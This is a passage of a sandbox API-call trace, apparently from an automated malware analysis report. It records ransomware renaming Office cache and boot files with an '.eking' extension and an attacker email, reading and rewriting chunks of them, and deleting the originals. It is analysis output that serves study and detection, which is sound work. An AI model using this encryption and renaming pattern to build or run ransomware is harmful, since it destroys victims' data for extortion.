(normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0062.394] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0062.394] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0062.395] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0062.395] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0062.395] ReadFile (in: hFile=0x1c4, lpBuffer=0x2a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2a90058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0062.401] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0062.401] ReadFile (in: hFile=0x1c4, lpBuffer=0x2ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2ad0058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0062.415] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0062.415] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2b10058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0062.432] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d0 | out: lpNewFilePointer=0x0) returned 1 [0062.432] WriteFile (in: hFile=0x1c4, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xc0112, lpOverlapped=0x0) returned 1 [0062.701] SetEndOfFile (hFile=0x1c4) returned 1 [0062.702] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0062.702] WriteFile (in: hFile=0x1c4, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0062.707] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0062.707] WriteFile (in: hFile=0x1c4, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0062.714] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0062.714] WriteFile (in: hFile=0x1c4, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0062.716] FlushFileBuffers (hFile=0x1c4) returned 1 [0065.665] CloseHandle (hObject=0x1c4) returned 1 [0069.195] SetEvent (hEvent=0x16c) returned 1 [0069.196] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0069.199] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=1886) returned 1 [0069.199] CloseHandle (hObject=0x1c4) returned 1 [0069.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0069.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0069.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0069.199] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0069.199] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0069.200] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0069.200] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0069.201] ReadFile (in: hFile=0x1c4, lpBuffer=0x2a90020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f7e4, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesRead=0x2e3f7e4*=0x75e, lpOverlapped=0x0) returned 1 [0069.206] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0x760, lpOverlapped=0x0) returned 1 [0069.219] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xf2, lpOverlapped=0x0) returned 1 [0069.219] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0069.220] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0069.220] WriteFile (in: hFile=0x1c4, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x2e3f544, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f544*=0x75e, lpOverlapped=0x0) returned 1 [0069.220] FlushFileBuffers (hFile=0x1c4) returned 1 [0069.225] FlushFileBuffers (hFile=0x1c0) returned 1 [0069.228] CloseHandle (hObject=0x1c4) returned 1 [0069.229] CloseHandle (hObject=0x1c0) returned 1 [0069.230] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0069.234] SetEvent (hEvent=0x16c) returned 1 [0069.234] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0069.236] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=2513920) returned 1 [0069.236] CloseHandle (hObject=0x1c0) returned 1 [0069.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0069.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0069.237] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0069.238] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0069.238] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0069.238] ReadFile (in: hFile=0x1c0, lpBuffer=0x2a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2a90058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0069.244] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0069.244] ReadFile (in: hFile=0x1c0, lpBuffer=0x2ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2ad0058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0069.322] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0069.323] ReadFile (in: hFile=0x1c0, lpBuffer=0x2b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2b10058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0069.355] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d0 | out: lpNewFilePointer=0x0) returned 1 [0069.355] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xc0112, lpOverlapped=0x0) returned 1 [0069.486] SetEndOfFile (hFile=0x1c0) returned 1 [0069.486] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0069.486] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0069.489] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0069.489] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0069.495] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0069.495] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0069.497] FlushFileBuffers (hFile=0x1c0) returned 1 [0071.874] CloseHandle (hObject=0x1c0) returned 1 [0073.297] SetEvent (hEvent=0x16c) returned 1 [0073.298] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0073.300] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=9958388) returned 1 [0073.300] CloseHandle (hObject=0x1c0) returned 1 [0073.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0073.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0073.301] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0073.301] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0073.302] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0073.302] ReadFile (in: hFile=0x1c0, lpBuffer=0x2a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2a90058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0073.402] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0073.402] ReadFile (in: hFile=0x1c0, lpBuffer=0x2ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2ad0058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0073.527] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0073.527] ReadFile (in: hFile=0x1c0, lpBuffer=0x2b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2b10058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0073.632] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d0 | out: lpNewFilePointer=0x0) returned 1 [0073.632] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xc0102, lpOverlapped=0x0) returned 1 [0073.650] SetEndOfFile (hFile=0x1c0) returned 1 [0073.651] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0073.651] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b5013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5013a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0073.654] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0073.654] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b5013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5013a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0075.039] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0075.039] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b5013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5013a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0075.042] FlushFileBuffers (hFile=0x1c0) Thread: id = 23 os_tid = 0x738 [0053.602] GetProcessHeap () returned 0x730000 [0053.602] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x807c30 [0053.602] GetProcessHeap () returned 0x730000 [0053.602] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x817c38 [0053.603] GetProcessHeap () returned 0x730000 [0053.603] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x7543e0 [0053.603] GetProcessHeap () returned 0x730000 [0053.603] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x110102) returned 0x3050020 [0053.603] GetProcessHeap () returned 0x730000 [0053.603] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0053.603] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.604] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.604] Wow64DisableWow64FsRedirection (in: OldValue=0x304fe54 | out: OldValue=0x304fe54*=0x0) returned 1 [0053.604] GetProcessHeap () returned 0x730000 [0053.604] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0053.604] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.604] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.605] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0053.749] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=0) returned 1 [0053.749] CloseHandle (hObject=0x150) returned 1 [0053.750] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0053.750] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=0) returned 1 [0053.750] CloseHandle (hObject=0x150) returned 1 [0053.750] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0053.750] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=65536) returned 1 [0053.751] CloseHandle (hObject=0x150) returned 1 [0053.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0053.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0053.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\bootstat.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0053.752] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0053.759] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc8 | out: lpNewFilePointer=0x0) returned 1 [0053.759] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc8 | out: lpNewFilePointer=0x0) returned 1 [0053.759] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\bootstat.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x1a4 [0053.760] ReadFile (in: hFile=0x150, lpBuffer=0x3050020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x304fdd4, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesRead=0x304fdd4*=0x10000, lpOverlapped=0x0) returned 1 [0053.783] WriteFile (in: hFile=0x1a4, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0x10010, lpOverlapped=0x0) returned 1 [0053.785] WriteFile (in: hFile=0x1a4, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0xf2, lpOverlapped=0x0) returned 1 [0053.786] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fb28 | out: lpNewFilePointer=0x0) returned 1 [0053.786] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fb28 | out: lpNewFilePointer=0x0) returned 1 [0053.786] WriteFile (in: hFile=0x150, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x304fb34, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fb34*=0x10000, lpOverlapped=0x0) returned 1 [0053.786] FlushFileBuffers (hFile=0x150) returned 1 [0055.143] FlushFileBuffers (hFile=0x1a4) returned 1 [0056.479] CloseHandle (hObject=0x150) returned 1 [0056.481] CloseHandle (hObject=0x1a4) returned 1 [0056.482] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0056.484] SetEvent (hEvent=0x16c) returned 1 [0056.484] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 